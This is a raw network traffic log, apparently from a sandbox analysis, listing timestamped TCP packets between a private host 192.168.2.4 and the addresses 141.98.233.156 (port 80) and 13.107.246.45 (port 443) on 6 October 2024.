Oct 6, 2024 22:33:15.969839096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.969857931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.969896078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970012903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970029116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970061064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970093012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970175982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970191956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970206976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970222950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970236063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970238924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970254898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970257044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970271111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970283985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970298052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970305920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970323086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970328093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970366001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970392942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970488071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970503092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970518112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970532894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970541000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970551014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970558882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970566988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970604897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970637083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970655918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970685959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970844984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970860958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970875025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970890999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970895052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970905066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970917940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970921040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970936060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970936060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970953941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970968008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970983028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.970982075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.970999956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971014023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971014023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971023083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971030951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971038103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971045017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971061945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971146107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971208096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971537113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971553087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971568108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971584082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971589088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971599102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971611977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971621990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971632004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971647024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971662045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971669912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971678019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971694946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971705914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971713066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971729040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971729040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971745968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971754074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971762896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971772909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971780062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971795082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971811056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971816063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971826077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971843004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971857071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971868992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971873999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.971889019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971910000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.971945047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972589016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972604990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972623110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972637892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972642899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972652912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972667933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972681999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972686052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972697973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972714901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972723007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972729921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972747087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972763062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972767115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972778082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972790003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972795010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972810984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972826958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972831011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972845078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972861052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972875118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972883940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.972901106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972920895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.972949028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973387003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973402023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973417997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973433018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973448038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973460913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973459959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973459959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973475933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973488092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973494053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973510027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973510981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973534107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973537922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973551035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973566055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973571062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973582983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973598957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973611116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973612070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973629951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973644018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973655939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973659039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973675013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973690987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.973695993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973695993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973721981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.973763943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.023462057 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.023603916 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.023668051 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.023827076 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.023849964 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.023864031 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.023870945 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.028764009 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.028776884 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.028855085 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.029061079 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:16.029073000 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:16.055273056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055300951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055315971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055335999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055376053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055408001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055418015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055434942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055449963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055485964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055521011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055569887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055586100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055600882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055617094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055619955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055650949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055680037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055725098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055751085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055767059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055782080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055784941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055784941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055799961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055805922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055814981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055830956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055833101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055847883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.055879116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055880070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.055902004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056086063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056102037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056154013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056175947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056193113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056207895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056224108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056240082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056256056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056256056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056272030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056308031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056337118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056509018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056524992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056540012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056551933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056560040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056567907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056579113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056581020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056597948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056603909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056613922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056631088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056647062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056646109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056663990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056669950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056693077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056732893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.056955099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056972027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.056987047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057009935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057019949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057019949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057027102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057044029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057044983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057061911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057065010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057080984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057085037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057111979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057142973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057301044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057326078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057342052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057353973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057358980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057375908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057378054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057394028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057395935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057410955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057415962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057427883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057435989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057444096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057459116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057473898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057475090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057488918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057496071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057504892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057519913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057527065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057538033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057552099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057560921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057581902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057600021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.057949066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057964087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057977915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057995081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.057996035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058010101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058017969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058027983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058033943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058043957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058059931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058075905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058085918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058095932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058100939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058116913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058131933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058131933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058157921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058163881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058165073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058173895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058191061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058211088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058211088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058213949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058228016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058231115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058243036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058258057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058259964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058273077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058289051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058296919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058310032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.058324099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.058347940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059016943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059042931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059056044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059067011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059071064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059092999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059097052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059108019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059123039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059123993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059140921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059143066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059155941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059161901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059173107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059182882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059190035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059204102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059204102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059221029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059232950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059238911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:16.059251070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:16.059254885 CEST	80	49741	141.98.233.156	192.168.2.4
